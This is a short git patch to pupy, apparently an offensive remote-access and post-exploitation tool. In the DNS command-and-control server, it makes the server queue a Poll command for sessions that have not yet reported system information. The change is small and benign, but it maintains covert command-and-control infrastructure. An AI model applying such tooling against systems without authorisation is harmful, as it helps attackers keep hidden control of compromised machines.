From f2c02b4ee235f144a46dbef9d1e30f3fadb4e722 Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk <alxchk@gmail.com>
Date: Thu, 8 Nov 2018 09:59:36 +0200
Subject: [PATCH] dnscnc: reask status if something went wrong during transfer

---
 pupy/network/lib/picocmd/server.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pupy/network/lib/picocmd/server.py b/pupy/network/lib/picocmd/server.py
index 49566bac..35c67041 100644
--- a/pupy/network/lib/picocmd/server.py
+++ b/pupy/network/lib/picocmd/server.py
@@ -775,6 +775,10 @@ class DnsCommandServerHandler(BaseResolver):
                 session._user_active_reported = session.system_status['idle']
 
             commands = session.commands
+
+            if not session.system_info:
+                commands.append(Poll())
+
             return commands
 
         elif isinstance(command, SystemInfo) and not session: